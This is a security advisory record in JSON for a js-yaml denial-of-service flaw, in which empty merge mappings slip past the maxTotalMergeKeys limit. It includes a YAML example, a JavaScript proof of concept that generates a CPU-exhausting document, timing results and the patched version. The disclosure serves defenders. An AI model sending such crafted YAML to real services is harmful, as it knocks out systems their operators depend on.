{"id":"GHSA-r3ph-w7gj-g6xm","title":"js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources","summary":"js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources","severity":"medium","cvss":5.3,"cwe":["CWE-400","CWE-407"],"vendor":"js-yaml","product":"js-yaml","ecosystem":"npm","affected":["js-yaml >= 5.0.0, <= 5.4.0"],"patched":["js-yaml 5.4.1"],"published":"2026-09-29","updated":"2026-09-29","sourceUpdated":"2026-09-29T17:57:40Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-r3ph-w7gj-g6xm","references":[{"url":"https://github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm"},{"url":"https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480"},{"url":"https://github.com/nodeca/js-yaml/releases/tag/5.4.1"},{"url":"https://github.com/advisories/GHSA-r3ph-w7gj-g6xm"}],"tags":["ghsa","npm"],"ingestedAt":"2026-09-29T18:42:35.833Z","slug":"GHSA-r3ph-w7gj-g6xm","body":"## Overview\n\n## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: &arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n  - <<: *arr                # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from 'node:perf_hooks'\nimport { load, YAML11_SCHEMA } from 'js-yaml'\n\nconst n = 20000\n\nconst src =\n  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\\n' +\n  'targets:\\n' +\n  '  - <<: *arr\\n'.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nWhen merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount every merge source mapping as one budget unit in addition to counting its keys.\n\n## Affected packages\n\n- `js-yaml >= 5.0.0, <= 5.4.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `js-yaml 5.4.1`","depth":"sunlit","depthScore":29,"depthScoreParts":{"impact":29.2,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}